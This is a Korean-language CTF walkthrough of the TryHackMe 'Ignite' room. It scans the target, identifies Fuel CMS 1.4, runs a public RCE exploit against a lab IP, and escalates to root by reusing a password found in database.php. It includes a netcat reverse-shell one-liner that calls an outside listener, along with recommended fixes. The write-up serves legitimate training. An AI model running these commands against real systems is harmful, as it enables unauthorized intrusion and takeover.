본문 바로가기
해킹&보안/TryHackMe

Ignite

⚠️본 블로그는 학습용입니다. 명시적 동의 없는 시스템 접근·정보수집은 불법이며 형사·민사 책임이 따릅니다
실습은 격리된 테스트 환경에서만 허용됩니다. (형법·정보통신망법·정보통신기반보호법 등)

1. 사전 협의 단계

항목 내용
타겟 (Target IP) 10.10.27.230
과제 범위 (Scope) 제공된 가상 머신에 대한 원격 침투 테스트
최종 목표 (Objective) 시스템의 루트 권한 획득
주요 기술 (Key Tech) WebApp / FuelCMS / RCE / PasswordReuse
룸 링크 (URL) https://tryhackme.com/room/ignite

2. 정보 수집 단계

2.1. 포트 및 서비스 스캐닝

Nmap을 사용하여 타겟 시스템의 활성화된 포트 및 실행 중인 서비스 버전을 식별했습니다

nmap -sV -sC 10.10.27.230

# -sV : 서비스 버전 정보 확인
#-sC : 기본 스크립트 실행

80/tcp: Apache httpd 2.4.18 ((Ubuntu))

80번 웹 포트만 열려있는 것을 확인했으니 이번 웹 애플리케이션에 집중하면 될 것 같습니다.


3. 위협 모델링 및 취약점 분석

3.1. 공격 표면 분석

Apache (Port 80): 웹 페이지에 접속하자 기본 페이지 대신 특정 CMS의 화면이 나타났습니다. 페이지를 통해 Fuel CMS 버전 1.4가 실행 중임을 확인했습니다.

 

3.2. 공격 시나리오

Searchsploit나 구글 검색을 통해 Fuel CMS 1.4 버전에 대한 알려진 취약점을 검색했습니다.

searchsploit fuel 1.4

발견: Fuel CMS 1.4 버전에는 원격 코드 실행이 가능한 취약점이 존재함을 확인했습니다

시나리오: 공개된 RCE 익스플로잇 코드를 활용하여 시스템의 초기 쉘을 획득하는 것을 목표로 설정했습니다

.txt를 제외하고 공격할때 사용해볼 수 있는 코드 3가지가 나왔습니다
경로를 확인하고 간단하게 이름을 보기쉽게 바꿔줬습니다


4. 침투 단계 

ruby exp2.rb http://10.10.27.230/ id

  1. 해커의 공격: exp2.rb 스크립트를 이용해 대상 웹 서버에 id 명령어 실행을 요청합니다. id는 현재 사용자의 정보를 보여주는 리눅스 명령어입니다.
  2. 서버의 응답: uid=33(www-data) gid=33(www-data) groups=33(www-data) 라는 결과가 돌아왔습니다. 이는 웹 서버가 www-data라는 사용자 권한으로 동작하고 있음을 의미합니다.

ruby exp2.rb http://10.10.27.230/ whoami

  1. 해커의 공격: 확인을 위해 whoami (현재 사용자가 누구인지 출력) 명령어를 다시 실행합니다
  2. 서버의 응답: www-data 라고 명확하게 출력됩니다

아까 봤던 RCE중 3번째 공격코드로도 작동되는 것을 확인했습니다

 


5. 내부 침투

5.1. 리버스쉘

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|sh -i 2>&1|nc 10.8.29.47 9999 >/tmp/f 명령은 대상에 이름 있는 파이프(/tmp/f)를 만들고 그 파이프를 통해 셸의 입출력을 원격의 netcat 리스너(10.8.29.47:9999)와 연결해 리버스 셸을 여는 전형적인 페이로드입니다.

 

5.2. 권한 상승

database.php파일에 접근해보니 관련 정보를 확인할 수 있었습니다
위 정보에서 확인한 mememe를 활용하여 권한상승된 것을 확인했습니다

6. 보고 및 결론

6.1. 공격 경로 요약

  1. Recon: Nmap으로 80/TCP (HTTP) 포트 및 Apache 서버 식별
  2. Vulnerability Analysis: 웹 페이지 분석을 통해 Fuel CMS 1.4 버전 확인 및 RCE 취약점 발견
  3. Exploitation: 공개된 Python 익스플로잇 코드로 RCE 공격, www-data 권한의 리버스 쉘 획득
  4. Post-Exploitation: 시스템 내부 database.php 설정 파일에서 root 계정의 비밀번호 발견
  5. Privilege Escalation: 발견한 비밀번호를 재사용하여 su root 명령으로 루트 권한 획득

6.2. 대응 방안

소프트웨어 업데이트: Fuel CMS를 취약점이 패치된 최신 버전으로 업데이트해야 합니다

비밀번호 재사용 금지: 시스템 관리자 계정과 데이터베이스 관리자 계정의 비밀번호는 반드시 다르게 설정해야 합니다.

최소 권한 원칙: 데이터베이스 연결할 때  root 계정이 아닌 해당 애플리케이션에 필요한 최소한의 권한을 가진 별도 DB 사용자를 생성하여 사용해야 합니다

 

6.3. 회고

오래된 버전의 웹 애플리케이션이 단 하나의 취약점만으로도 시스템 전체를 장악하는 경로가 될 수 있음을 확인했고 꾸준히 공부를 안하면 안될 것 같다는 느낌이 또 한 번 들었습니다